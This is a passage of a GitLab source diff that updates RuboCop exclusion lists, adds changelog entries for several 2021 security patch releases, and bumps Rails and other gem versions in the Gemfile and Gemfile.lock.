+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/pipelines/_tabs_content.html.haml'
+ - 'ee/app/views/projects/protected_branches/ee/_code_owner_approval_form.html.haml'
+ - 'ee/app/views/projects/protected_branches/ee/_code_owner_approval_table.html.haml'
+ - 'ee/app/views/projects/protected_branches/ee/_code_owner_approval_table_head.html.haml'
+ - 'ee/app/views/projects/push_rules/_index.html.haml'
+ - 'ee/app/views/projects/settings/_default_issue_template.html.haml'
+ - 'ee/app/views/projects/settings/_marked_for_removal.html.haml'
+ - 'ee/app/views/projects/settings/_restore.html.haml'
+ - 'ee/app/views/projects/settings/ci_cd/_auto_rollback.html.haml'
+ - 'ee/app/views/projects/settings/ci_cd/_pipeline_subscriptions.html.haml'
+ - 'ee/app/views/projects/settings/operations/_status_page.html.haml'
+ - 'ee/app/views/projects/settings/repository/_protected_branches.html.haml'
+ - 'ee/app/views/projects/sidebar/_repository_locked_files.html.haml'
+ - 'ee/app/views/shared/issuable/_board_create_list_dropdown.html.haml'
+ - 'ee/app/views/shared/issuable/_board_create_list_dropdown.html.haml'
+ - 'ee/app/views/shared/issuable/_group_bulk_update_sidebar.html.haml'
+ - 'ee/app/views/shared/issuable/_iteration_select.html.haml'
+ - 'ee/app/views/shared/issuable/form/_default_templates.html.haml'
+ - 'ee/app/views/shared/labels/_create_label_help_text.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_mr_features.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_mr_features.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
+ - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
+ - 'ee/app/workers/analytics/code_review_metrics_worker.rb'
+ - 'ee/app/workers/group_saml_group_sync_worker.rb'
+ - 'ee/lib/api/external_approval_rules.rb'
+ - 'ee/lib/api/helpers/epics_helpers.rb'
+ - 'ee/lib/api/ldap_group_links.rb'
+ - 'ee/lib/ee/api/entities/approval_state.rb'
+ - 'ee/lib/ee/api/entities/board.rb'
+ - 'ee/lib/ee/api/entities/group.rb'
+ - 'ee/lib/ee/api/entities/issue.rb'
+ - 'ee/lib/ee/api/entities/project.rb'
+ - 'ee/lib/ee/api/groups.rb'
+ - 'ee/lib/ee/api/helpers.rb'
+ - 'ee/lib/ee/api/internal/kubernetes.rb'
+ - 'ee/lib/ee/api/job_artifacts.rb'
+ - 'ee/lib/ee/api/projects.rb'
+ - 'ee/lib/ee/gitlab/alert_management/payload/generic.rb'
+ - 'ee/lib/ee/gitlab/checks/diff_check.rb'
+ - 'ee/lib/ee/gitlab/gon_helper.rb'
+ - 'ee/lib/ee/gitlab/tree_summary.rb'
+ - 'ee/lib/gitlab/alert_management.rb'
+ - 'ee/lib/gitlab/auth/group_saml/group_lookup.rb'
+ - 'ee/lib/gitlab/ci/pipeline/chain/config/content/compliance.rb'
+ - 'ee/lib/gitlab/code_owners.rb'
+ - 'ee/lib/gitlab/import_export/group/group_and_descendants_repo_restorer.rb'
+ - 'ee/lib/gitlab/incident_management.rb'
+ - 'ee/lib/gitlab/path_locks_finder.rb'
+ - 'ee/lib/incident_management/incident_sla.rb'
+ - 'ee/spec/models/ee/namespace_spec.rb'
+ - 'ee/spec/models/instance_security_dashboard_spec.rb'
+ - 'ee/spec/models/license_spec.rb'
+ - 'ee/spec/models/project_spec.rb'
+ - 'lib/api/helpers/related_resources_helpers.rb'
- 'spec/models/concerns/featurable_spec.rb'
- - 'spec/models/event_spec.rb'
- - 'spec/models/packages/dependency_spec.rb'
- - 'spec/requests/api/graphql/project/alert_management/alert/assignees_spec.rb'
- - 'spec/requests/api/graphql/project/alert_management/alert/notes_spec.rb'
- - 'spec/requests/api/graphql/project/alert_management/alert/todos_spec.rb'
+
+# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/327490
+Style/RegexpLiteralMixedPreserve:
+ Exclude:
+ - 'app/controllers/projects/repositories_controller.rb'
+ - 'app/helpers/ci/variables_helper.rb'
+ - 'app/models/alert_management/alert.rb'
+ - 'app/models/application_setting.rb'
+ - 'app/models/blob_viewer/go_mod.rb'
+ - 'app/models/concerns/ci/maskable.rb'
+ - 'app/models/operations/feature_flag.rb'
+ - 'app/models/packages/go/module.rb'
+ - 'app/models/project_services/chat_message/base_message.rb'
+ - 'app/services/packages/conan/search_service.rb'
+ - 'app/services/projects/update_remote_mirror_service.rb'
+ - 'config/initializers/rspec_profiling.rb'
+ - 'ee/app/models/status_page/project_setting.rb'
+ - 'ee/app/presenters/vulnerability_presenter.rb'
+ - 'ee/lib/api/geo_nodes.rb'
+ - 'ee/lib/gitlab/vulnerabilities/standard_vulnerability.rb'
+ - 'ee/spec/controllers/concerns/ee/routable_actions/sso_enforcement_redirect_spec.rb'
+ - 'ee/spec/controllers/concerns/routable_actions_spec.rb'
+ - 'ee/spec/controllers/groups/groups_controller_spec.rb'
+ - 'ee/spec/features/groups/saml_enforcement_spec.rb'
+ - 'ee/spec/features/markdown/metrics_spec.rb'
+ - 'ee/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb'
+ - 'ee/spec/models/project_services/jira_service_spec.rb'
+ - 'ee/spec/services/jira/requests/issues/list_service_spec.rb'
+ - 'lib/api/invitations.rb'
+ - 'lib/gitlab/ci/pipeline/expression/lexeme/pattern.rb'
+ - 'lib/gitlab/metrics/requests_rack_middleware.rb'
+ - 'lib/gitlab/metrics/subscribers/active_record.rb'
+ - 'lib/gitlab/regex.rb'
+ - 'lib/gitlab/utils.rb'
+ - 'lib/product_analytics/tracker.rb'
+ - 'qa/qa/page/project/settings/advanced.rb'
+ - 'qa/spec/service/docker_run/gitlab_runner_spec.rb'
+ - 'rubocop/cop/gitlab/duplicate_spec_location.rb'
+ - 'spec/features/clusters/cluster_health_dashboard_spec.rb'
+ - 'spec/features/markdown/metrics_spec.rb'
+ - 'spec/features/search/user_searches_for_code_spec.rb'
+ - 'spec/features/snippets/embedded_snippet_spec.rb'
+ - 'spec/helpers/diff_helper_spec.rb'
+ - 'spec/helpers/releases_helper_spec.rb'
+ - 'spec/lib/gitlab/ci/reports/test_case_spec.rb'
+ - 'spec/lib/gitlab/consul/internal_spec.rb'
+ - 'spec/lib/gitlab/import_export/shared_spec.rb'
+ - 'spec/lib/gitlab/utils/usage_data_spec.rb'
+ - 'spec/presenters/ci/build_runner_presenter_spec.rb'
- 'spec/requests/api/projects_spec.rb'
- - 'spec/support/helpers/graphql_helpers.rb'
- - 'spec/support/import_export/project_tree_expectations.rb'
- - 'spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb'
+ - 'spec/services/jira/requests/projects/list_service_spec.rb'
+ - 'spec/support/capybara.rb'
+ - 'spec/support/helpers/grafana_api_helpers.rb'
+ - 'spec/support/helpers/query_recorder.rb'
+ - 'spec/support/helpers/require_migration.rb'
+ - 'spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb'
+ - 'spec/views/layouts/_head.html.haml_spec.rb'
diff --git a/.rubocop_todo.yml b/.rubocop_todo.yml
index deb7f287f76..4bd885c35d2 100644
--- a/.rubocop_todo.yml
+++ b/.rubocop_todo.yml
@@ -32,24 +32,6 @@ Graphql/IDType:
Layout/ArgumentAlignment:
Enabled: false
-# Offense count: 11
-# Cop supports --auto-correct.
-# Configuration parameters: EnforcedStyleAlignWith, Severity.
-# SupportedStylesAlignWith: start_of_line, begin
-Layout/BeginEndAlignment:
- Exclude:
- - 'app/controllers/groups/shared_projects_controller.rb'
- - 'app/workers/concerns/reactive_cacheable_worker.rb'
- - 'ee/app/services/security/token_revocation_service.rb'
- - 'ee/lib/gitlab/analytics/cycle_analytics/summary/group/deploy.rb'
- - 'ee/lib/gitlab/ci/config/entry/vault/secret.rb'
- - 'lib/api/internal/base.rb'
- - 'lib/atlassian/jira_connect/serializers/build_entity.rb'
- - 'lib/gitlab/ci/jwt.rb'
- - 'lib/gitlab/external_authorization/client.rb'
- - 'lib/gitlab/phabricator_import/project_creator.rb'
- - 'scripts/gitaly_test.rb'
-
# Offense count: 54
# Cop supports --auto-correct.
# Configuration parameters: AllowAliasSyntax, AllowedMethods.
@@ -94,20 +76,6 @@ Layout/LineLength:
Layout/MultilineOperationIndentation:
Enabled: false
-# Offense count: 11
-# Cop supports --auto-correct.
-Layout/RescueEnsureAlignment:
- Exclude:
- - 'app/models/blob_viewer/dependency_manager.rb'
- - 'app/models/project.rb'
- - 'app/services/prometheus/proxy_service.rb'
- - 'app/workers/concerns/reactive_cacheable_worker.rb'
- - 'app/workers/delete_stored_files_worker.rb'
- - 'config/initializers/1_settings.rb'
- - 'config/initializers/trusted_proxies.rb'
- - 'lib/api/internal/base.rb'
- - 'lib/gitlab/highlight.rb'
-
# Offense count: 53
# Cop supports --auto-correct.
Layout/SpaceAroundMethodCallOperator:
@@ -202,21 +170,6 @@ Lint/MixedRegexpCaptureTypes:
Lint/RedundantCopDisableDirective:
Enabled: false
-# Offense count: 9
-# Cop supports --auto-correct.
-# Configuration parameters: AllowedMethods.
-# AllowedMethods: instance_of?, kind_of?, is_a?, eql?, respond_to?, equal?
-Lint/RedundantSafeNavigation:
- Exclude:
- - 'app/controllers/concerns/labels_as_hash.rb'
- - 'app/policies/note_policy.rb'
- - 'app/services/users/update_canonical_email_service.rb'
- - 'ee/app/presenters/iteration_presenter.rb'
- - 'ee/app/services/ee/members/destroy_service.rb'
- - 'ee/lib/ee/gitlab/email/handler/reply_processing.rb'
- - 'qa/qa/specs/helpers/quarantine.rb'
- - 'spec/controllers/boards/issues_controller_spec.rb'
-
# Offense count: 1
Lint/SelfAssignment:
Exclude:
@@ -255,12 +208,6 @@ Metrics/CyclomaticComplexity:
Metrics/PerceivedComplexity:
Max: 25
-# Offense count: 1
-# Cop supports --auto-correct.
-Migration/DepartmentName:
- Exclude:
- - 'app/models/commit.rb'
-
# Offense count: 196
# Configuration parameters: ExpectMatchingDefinition, CheckDefinitionPathHierarchy, Regex, IgnoreExecutableScripts, AllowedAcronyms.
# AllowedAcronyms: CLI, DSL, ACL, API, ASCII, CPU, CSS, DNS, EOF, GUID, HTML, HTTP, HTTPS, ID, IP, JSON, LHS, QPS, RAM, RHS, RPC, SLA, SMTP, SQL, SSH, TCP, TLS, TTL, UDP, UI, UID, UUID, URI, URL, UTF8, VM, XML, XMPP, XSRF, XSS
@@ -693,11 +640,6 @@ Rails/WhereEquals:
Rails/WhereExists:
Enabled: false
-# Offense count: 21
-# Cop supports --auto-correct.
-Rails/WhereNot:
- Enabled: false
-
# Offense count: 8
# Cop supports --auto-correct.
Security/YAMLLoad:
@@ -903,11 +845,6 @@ Style/Next:
Style/NumericLiteralPrefix:
Enabled: false
-# Offense count: 140
-# Cop supports --auto-correct.
-Style/ParallelAssignment:
- Enabled: false
-
# Offense count: 2698
# Cop supports --auto-correct.
# Configuration parameters: PreferredDelimiters.
@@ -922,11 +859,6 @@ Style/RaiseArgs:
Enabled: false
EnforcedStyle: exploded
-# Offense count: 73
-# Cop supports --auto-correct.
-Style/RedundantAssignment:
- Enabled: false
-
# Offense count: 2
# Cop supports --auto-correct.
Style/RedundantBegin:
@@ -951,11 +883,6 @@ Style/RedundantFetchBlock:
Style/RedundantFileExtensionInRequire:
Enabled: false
-# Offense count: 248
-# Cop supports --auto-correct.
-Style/RedundantFreeze:
- Enabled: false
-
# Offense count: 206
# Cop supports --auto-correct.
Style/RedundantInterpolation:
@@ -985,20 +912,6 @@ Style/RedundantRegexpEscape:
Style/RedundantSelf:
Enabled: false
-# Offense count: 2
-# Cop supports --auto-correct.
-Style/RedundantSelfAssignment:
- Exclude:
- - 'app/models/concerns/issuable.rb'
- - 'spec/db/schema_spec.rb'
-
-# Offense count: 213
-# Cop supports --auto-correct.
-# Configuration parameters: EnforcedStyle, AllowInnerSlashes.
-# SupportedStyles: slashes, percent_r, mixed
-Style/RegexpLiteral:
- Enabled: false
-
# Offense count: 53
# Cop supports --auto-correct.
Style/RescueModifier:
diff --git a/CHANGELOG.md b/CHANGELOG.md
index d80a50862b7..fb8e639ef91 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -571,6 +571,43 @@ entry.
- Convert mattermost alert to pajamas. !56556
+## 13.9.6 (2021-04-13)
+
+### Security (2 changes)
+
+- Clean only legitimate JPG and TIFF files.
+- Update ruby-saml and rexml gems.
+
+
+## 13.9.5 (2021-03-31)
+
+### Security (6 changes)
+
+- Leave pool repository on fork unlinking.
+- Fixed XSS in merge requests sidebar.
+- Fix arbitrary read/write in AsciiDoctor and Kroki gems.
+- Prevent infinite loop when checking if collaboration is allowed.
+- Disable arbitrary URI and file reads in JSON validator.
+- Require POST request to trigger system hooks.
+
+### Removed (1 change)
+
+- Make HipChat project service do nothing. !57434
+
+### Other (3 changes)
+
+- Remove direct mimemagic dependency. !57387
+- Refactor MimeMagic calls to new MimeType class. !57421
+- Switch to using a fake mimemagic gem. !57443
+
+
+## 13.9.4 (2021-03-17)
+
+### Security (1 change)
+
+- Patch Kramdown syntax highlighter gem.
+
+
## 13.9.3 (2021-03-08)
### Fixed (4 changes)
@@ -1179,6 +1216,42 @@ entry.
- Apply new GitLab UI for buttons in pipeline schedules.
+## 13.8.8 (2021-04-13)
+
+### Security (2 changes)
+
+- Clean only legitimate JPG and TIFF files.
+- Update ruby-saml and rexml gems.
+
+
+## 13.8.7 (2021-03-31)
+
+### Security (5 changes)
+
+- Fixed XSS in merge requests sidebar.
+- Leave pool repository on fork unlinking.
+- Fix arbitrary read/write in AsciiDoctor and Kroki gems.
+- Prevent infinite loop when checking if collaboration is allowed.
+- Require POST request to trigger system hooks.
+
+### Removed (1 change)
+
+- Make HipChat project service do nothing. !57434
+
+### Other (3 changes)
+
+- Remove direct mimemagic dependency. !57387
+- Refactor MimeMagic calls to new MimeType class. !57421
+- Switch to using a fake mimemagic gem. !57443
+
+
+## 13.8.6 (2021-03-17)
+
+### Security (1 change)
+
+- Patch Kramdown syntax highlighter gem.
+
+
## 13.8.5 (2021-03-04)
### Security (6 changes)
@@ -1591,6 +1664,13 @@ entry.
- Add verbiage + link sast to show it's in core. !51935
+## 13.7.9 (2021-03-17)
+
+### Security (1 change)
+
+- Patch Kramdown syntax highlighter gem.
+
+
## 13.7.8 (2021-03-04)
### Security (5 changes)
diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION
index dee21658a83..1963fca425f 100644
--- a/GITALY_SERVER_VERSION
+++ b/GITALY_SERVER_VERSION
@@ -1 +1 @@
-13.10.3 \ No newline at end of file
+0f93ceb8a8ccfe38ee3fde399efcb49aa91cbedd
diff --git a/GITLAB_KAS_VERSION b/GITLAB_KAS_VERSION
index 8ba26053a68..f35ba509987 100644
--- a/GITLAB_KAS_VERSION
+++ b/GITLAB_KAS_VERSION
@@ -1 +1 @@
-13.9.1
+13.11.1
diff --git a/GITLAB_PAGES_VERSION b/GITLAB_PAGES_VERSION
index 39fc130ef85..ebeef2f2d61 100644
--- a/GITLAB_PAGES_VERSION
+++ b/GITLAB_PAGES_VERSION
@@ -1 +1 @@
-1.36.0
+1.38.0
diff --git a/Gemfile b/Gemfile
index ab8e7cc3b90..876bcfaabf9 100644
--- a/Gemfile
+++ b/Gemfile
@@ -2,7 +2,7 @@
source 'https://rubygems.org'
-gem 'rails', '~> 6.0.3.1'
+gem 'rails', '~> 6.0.3.6'
gem 'bootsnap', '~> 1.4.6'
@@ -61,7 +61,7 @@ gem 'akismet', '~> 3.0'
gem 'invisible_captcha', '~> 1.1.0'
# Two-factor authentication
-gem 'devise-two-factor', '~> 3.1.0'
+gem 'devise-two-factor', '~> 4.0.0'
gem 'rqrcode-rails3', '~> 0.1.7'
gem 'attr_encrypted', '~> 3.1.0'
gem 'u2f', '~> 0.2.1'
@@ -110,7 +110,7 @@ gem 'hashie-forbidden_attributes'
gem 'kaminari', '~> 1.0'
# HAML
-gem 'hamlit', '~> 2.14.4'
+gem 'hamlit', '~> 2.15.0'
# Files attachments
gem 'carrierwave', '~> 1.3'
@@ -152,7 +152,7 @@ gem 'deckar01-task_list', '2.3.1'
gem 'gitlab-markup', '~> 1.7.1'
gem 'github-markup', '~> 1.7.0', require: 'github/markup'
gem 'commonmarker', '~> 0.21'
-gem 'kramdown', '~> 2.3.0'
+gem 'kramdown', '~> 2.3.1'
gem 'RedCloth', '~> 4.3.2'
gem 'rdoc', '~> 6.1.2'
gem 'org-ruby', '~> 0.9.12'
@@ -200,7 +200,7 @@ gem 'acts-as-taggable-on', '~> 7.0'
gem 'sidekiq', '~> 5.2.7'
gem 'sidekiq-cron', '~> 1.0'
gem 'redis-namespace', '~> 1.7.0'
-gem 'gitlab-sidekiq-fetcher', '0.5.5', require: 'sidekiq-reliable-fetch'
+gem 'gitlab-sidekiq-fetcher', '0.5.6', require: 'sidekiq-reliable-fetch'
# Cron Parser
gem 'fugit', '~> 1.2.1'
@@ -276,10 +276,7 @@ gem 'licensee', '~> 9.14.1'
gem 'charlock_holmes', '~> 0.7.7'
# Detect mime content type from content
-gem 'ruby-magic-static', '~> 0.3.4'
-
-# Fake version of the gem to trick bundler
-gem 'mimemagic', '0.3.7', path: 'vendor/shims/mimemagic', require: false
+gem 'ruby-magic', '~> 0.4'
# Faster blank
gem 'fast_blank'
@@ -296,11 +293,11 @@ gem 'terser', '1.0.2'
gem 'addressable', '~> 2.7'
gem 'gemojione', '~> 3.3'
-gem 'gon', '~> 6.2'
+gem 'gon', '~> 6.4.0'
gem 'request_store', '~> 1.5'
gem 'base32', '~> 0.3.0'
-gem "gitlab-license", "~> 1.3"
+gem "gitlab-license", "~> 1.4"
# Protect against bruteforcing
gem 'rack-attack', '~> 6.3.0'
@@ -314,7 +311,7 @@ gem 'pg_query', '~> 1.3.0'
gem 'premailer-rails', '~> 1.10.3'
# LabKit: Tracing and Correlation
-gem 'gitlab-labkit', '~> 0.16.1'
+gem 'gitlab-labkit', '~> 0.16.2'
# Thrift is a dependency of gitlab-labkit, we want a version higher than 0.14.0
# because of https://gitlab.com/gitlab-org/gitlab/-/issues/321900
gem 'thrift', '>= 0.14.0'
@@ -345,13 +342,12 @@ group :metrics do
end
group :development do
- gem 'brakeman', '~> 4.2', require: false
- gem 'lefthook', '~> 0.7', require: false
+ gem 'lefthook', '~> 0.7.0', require: false
- gem 'letter_opener_web', '~> 1.3.4'
+ gem 'letter_opener_web', '~> 1.4.0'
# Better errors handler
- gem 'better_errors', '~> 2.7.1'
+ gem 'better_errors', '~> 2.9.0'
# thin instead webrick
gem 'thin', '~> 1.8.0'
@@ -368,7 +364,7 @@ group :development, :test do
gem 'database_cleaner', '~> 1.7.0'
gem 'factory_bot_rails', '~> 6.1.0'
- gem 'rspec-rails', '~> 4.0.2'
+ gem 'rspec-rails', '~> 5.0.1'
# Prevent occasions where minitest is not bundled in packaged versions of ruby (see #3826)
gem 'minitest', '~> 5.11.0'
@@ -379,14 +375,14 @@ group :development, :test do
gem 'spring', '~> 2.1.0'
gem 'spring-commands-rspec', '~> 1.0.4'
- gem 'gitlab-styles', '~> 6.1.0', require: false
+ gem 'gitlab-styles', '~> 6.2.0', require: false
gem 'haml_lint', '~> 0.36.0', require: false
gem 'bundler-audit', '~> 0.7.0.1', require: false
gem 'benchmark-ips', '~> 2.3.0', require: false
- gem 'knapsack', '~> 1.17'
+ gem 'knapsack', '~> 1.21.1'
gem 'crystalball', '~> 0.7.0', require: false
gem 'simple_po_parser', '~> 1.1.2', require: false
@@ -398,11 +394,12 @@ group :development, :test do
gem 'parallel', '~> 1.19', require: false
gem 'rblineprof', '~> 0.3.6', platform: :mri, require: false
+
+ gem 'test_file_finder', '~> 0.1.3'
end
group :development, :test, :danger do
- gem 'danger-gitlab', '~> 8.0', require: false
- gem 'gitlab-dangerfiles', '~> 0.8.0', require: false
+ gem 'gitlab-dangerfiles', '~> 1.1.1', require: false
end
group :development, :test, :coverage do
@@ -416,6 +413,7 @@ group :development, :test, :omnibus do
end
group :test do
+ gem 'json-schema', '~> 2.8.0'
gem 'fuubar', '~> 2.2.0'
gem 'rspec-retry', '~> 0.6.1'
gem 'rspec_profiling', '~> 0.0.6'
@@ -477,11 +475,11 @@ group :ed25519 do
end
# Gitaly GRPC protocol definitions
-gem 'gitaly', '~> 13.9.0.pre.rc1'
+gem 'gitaly', '~> 13.11.0.pre.rc1'
gem 'grpc', '~> 1.30.2'
-gem 'google-protobuf', '~> 3.12'
+gem 'google-protobuf', '~> 3.14.0'
gem 'toml-rb', '~> 1.0.0'
@@ -490,7 +488,7 @@ gem 'flipper', '~> 0.17.1'
gem 'flipper-active_record', '~> 0.17.1'
gem 'flipper-active_support_cache_store', '~> 0.17.1'
gem 'unleash', '~> 0.1.5'
-gem 'gitlab-experiment', '~> 0.5.0'
+gem 'gitlab-experiment', '~> 0.5.3'
# Structured logging
gem 'lograge', '~> 0.5'
@@ -513,16 +511,16 @@ gem 'erubi', '~> 1.9.0'
# Monkey-patched in `config/initializers/mail_encoding_patch.rb`
# See https://gitlab.com/gitlab-org/gitlab/issues/197386
gem 'mail', '= 2.7.1'
+gem 'mail-smtp_pool', '~> 0.1.0', path: 'vendor/gems/mail-smtp_pool', require: false
# File encryption
-gem 'lockbox', '~> 0.3.3'
+gem 'lockbox', '~> 0.6.2'
# Email validation
gem 'valid_email', '~> 0.1'
# JSON
gem 'json', '~> 2.3.0'
-gem 'json-schema', '~> 2.8.0'
gem 'json_schemer', '~> 0.2.12'
gem 'oj', '~> 3.10.6'
gem 'multi_json', '~> 1.14.1'
diff --git a/Gemfile.lock b/Gemfile.lock
index e6cf7c5d935..19fad573b63 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,9 @@
PATH
- remote: vendor/shims/mimemagic
+ remote: vendor/gems/mail-smtp_pool
specs:
- mimemagic (0.3.7)
+ mail-smtp_pool (0.1.0)
+ connection_pool (~> 2.0)
+ mail (~> 2.7)
GEM
remote: https://rubygems.org/
@@ -10,59 +12,59 @@ GEM
abstract_type (0.0.7)
acme-client (2.0.6)
faraday (>= 0.17, < 2.0.0)
- actioncable (6.0.3.4)
- actionpack (= 6.0.3.4)
+ actioncable (6.0.3.6)
+ actionpack (= 6.0.3.6)
nio4r (~> 2.0)
websocket-driver (>= 0.6.1)
- actionmailbox (6.0.3.4)
- actionpack (= 6.0.3.4)
- activejob (= 6.0.3.4)
- activerecord (= 6.0.3.4)
- activestorage (= 6.0.3.4)
- activesupport (= 6.0.3.4)
+ actionmailbox (6.0.3.6)
+ actionpack (= 6.0.3.6)
+ activejob (= 6.0.3.6)
+ activerecord (= 6.0.3.6)
+ activestorage (= 6.0.3.6)
+ activesupport (= 6.0.3.6)
mail (>= 2.7.1)
- actionmailer (6.0.3.4)
- actionpack (= 6.0.3.4)
- actionview (= 6.0.3.4)
- activejob (= 6.0.3.4)
+ actionmailer (6.0.3.6)
+ actionpack (= 6.0.3.6)
+ actionview (= 6.0.3.6)
+ activejob (= 6.0.3.6)
mail (~> 2.5, >= 2.5.4)
rails-dom-testing (~> 2.0)
- actionpack (6.0.3.4)
- actionview (= 6.0.3.4)
- activesupport (= 6.0.3.4)
+ actionpack (6.0.3.6)
+ actionview (= 6.0.3.6)
+ activesupport (= 6.0.3.6)
rack (~> 2.0, >= 2.0.8)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
- actiontext (6.0.3.4)
- actionpack (= 6.0.3.4)
- activerecord (= 6.0.3.4)
- activestorage (= 6.0.3.4)
- activesupport (= 6.0.3.4)
+ actiontext (6.0.3.6)
+ actionpack (= 6.0.3.6)
+ activerecord (= 6.0.3.6)
+ activestorage (= 6.0.3.6)
+ activesupport (= 6.0.3.6)
nokogiri (>= 1.8.5)
- actionview (6.0.3.4)
- activesupport (= 6.0.3.4)
+ actionview (6.0.3.6)
+ activesupport (= 6.0.3.6)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
- activejob (6.0.3.4)
- activesupport (= 6.0.3.4)
+ activejob (6.0.3.6)
+ activesupport (= 6.0.3.6)
globalid (>= 0.3.6)
- activemodel (6.0.3.4)
- activesupport (= 6.0.3.4)
- activerecord (6.0.3.4)
- activemodel (= 6.0.3.4)
- activesupport (= 6.0.3.4)
+ activemodel (6.0.3.6)
+ activesupport (= 6.0.3.6)
+ activerecord (6.0.3.6)
+ activemodel (= 6.0.3.6)
+ activesupport (= 6.0.3.6)
activerecord-explain-analyze (0.1.0)
activerecord (>= 4)
pg
- activestorage (6.0.3.4)
- actionpack (= 6.0.3.4)
- activejob (= 6.0.3.4)
- activerecord (= 6.0.3.4)
- marcel (~> 0.3.1)
- activesupport (6.0.3.4)
+ activestorage (6.0.3.6)
+ actionpack (= 6.0.3.6)
+ activejob (= 6.0.3.6)
+ activerecord (= 6.0.3.6)
+ marcel (~> 1.0.0)
+ activesupport (6.0.3.6)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
@@ -138,7 +140,7 @@ GEM
benchmark-ips (2.3.0)
benchmark-memory (0.1.2)
memory_profiler (~> 0.9)
- better_errors (2.7.1)
+ better_errors (2.9.1)
coderay (>= 1.0.0)
erubi (>= 1.0.0)
rack (>= 0.9.0)
@@ -149,7 +151,6 @@ GEM
bootstrap_form (4.2.0)
actionpack (>= 5.0)
activemodel (>= 5.0)
- brakeman (4.2.1)
browser (4.2.0)
builder (3.2.4)
bullet (6.1.3)
@@ -264,12 +265,12 @@ GEM
railties (>= 4.1.0)
responders
warden (~> 1.2.3)
- devise-two-factor (3.1.0)
- activesupport (< 6.1)
+ devise-two-factor (4.0.0)
+ activesupport (< 6.2)
attr_encrypted (>= 1.3, < 4, != 2)
devise (~> 4.0)
- railties (< 6.1)
- rotp (~> 2.0)
+ railties (< 6.2)
+ rotp (~> 6.0)
diff-lcs (1.4.4)
diff_match_patch (0.1.0)
diffy (3.3.0)
@@ -433,7 +434,7 @@ GEM
rails (>= 3.2.0)
git (1.7.0)
rchardet (~> 1.8)
- gitaly (13.9.0.pre.rc1)
+ gitaly (13.11.0.pre.rc1)
grpc (~> 1.0)
github-markup (1.7.0)
gitlab (4.16.1)
@@ -441,11 +442,11 @@ GEM
terminal-table (~> 1.5, >= 1.5.1)
gitlab-chronic (0.10.5)
numerizer (~> 0.2)
- gitlab-dangerfiles (0.8.0)
- danger
- gitlab-experiment (0.5.0)
+ gitlab-dangerfiles (1.1.1)
+ danger-gitlab
+ gitlab-experiment (0.5.3)
activesupport (>= 3.0)
- scientist (~> 1.5, >= 1.5.0)
+ scientist (~> 1.6, >= 1.6.0)
gitlab-fog-azure-rm (1.0.1)
azure-storage-blob (~> 2.0)
azure-storage-common (~> 2.0)
@@ -460,7 +461,7 @@ GEM
fog-xml (~> 0.1.0)
google-api-client (>= 0.44.2, < 0.51)
google-cloud-env (~> 1.2)
- gitlab-labkit (0.16.1)
+ gitlab-labkit (0.16.2)
actionpack (>= 5.0.0, < 7.0.0)
activesupport (>= 5.0.0, < 7.0.0)
grpc (~> 1.19)
@@ -468,16 +469,16 @@ GEM
opentracing (~> 0.4)
pg_query (~> 1.3)
redis (> 3.0.0, < 5.0.0)
- gitlab-license (1.3.1)
+ gitlab-license (1.4.0)
gitlab-mail_room (0.0.9)
gitlab-markup (1.7.1)
gitlab-net-dns (0.9.1)
gitlab-pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
- gitlab-sidekiq-fetcher (0.5.5)
+ gitlab-sidekiq-fetcher (0.5.6)
sidekiq (~> 5)
- gitlab-styles (6.1.0)
+ gitlab-styles (6.2.0)
rubocop (~> 0.91, >= 0.91.1)
rubocop-gitlab-security (~> 0.1.1)
rubocop-performance (~> 1.9.2)
@@ -492,8 +493,9 @@ GEM
rubyntlm (~> 0.5)
globalid (0.4.2)
activesupport (>= 4.2.0)
- gon (6.2.0)
- actionpack (>= 3.0)
+ gon (6.4.0)
+ actionpack (>= 3.0.20)
+ i18n (>= 0.7)
multi_json
request_store (>= 1.0)
google-api-client (0.50.0)
@@ -507,7 +509,7 @@ GEM
signet (~> 0.12)
google-cloud-env (1.4.0)
faraday (>= 0.17.3, < 2.0)
- google-protobuf (3.12.4)
+ google-protobuf (3.14.0)
googleapis-common-protos-types (1.0.5)
google-protobuf (~> 3.11)
googleauth (0.14.0)
@@ -584,7 +586,7 @@ GEM
rainbow
rubocop (>= 0.50.0)
sysexits (~> 1.1)
- hamlit (2.14.4)
+ hamlit (2.15.0)
temple (>= 0.8.2)
thor
tilt
@@ -619,7 +621,7 @@ GEM
mime-types (~> 3.0)
multi_xml (>= 0.5.2)
httpclient (2.8.3)
- i18n (1.8.9)
+ i18n (1.8.10)
concurrent-ruby (~> 1.0)
i18n_data (0.8.0)
icalendar (2.4.1)
@@ -645,7 +647,7 @@ GEM
activesupport (>= 4.2)
aes_key_wrap
bindata
- json-schema (2.8.0)
+ json-schema (2.8.1)
addressable (>= 2.4)
json_schemer (0.2.12)
ecma-re-validator (~> 0.2)
@@ -669,9 +671,9 @@ GEM
kaminari-core (= 1.2.1)
kaminari-core (1.2.1)
kgio (2.11.3)
- knapsack (1.17.0)
+ knapsack (1.21.1)
rake
- kramdown (2.3.0)
+ kramdown (2.3.1)
rexml
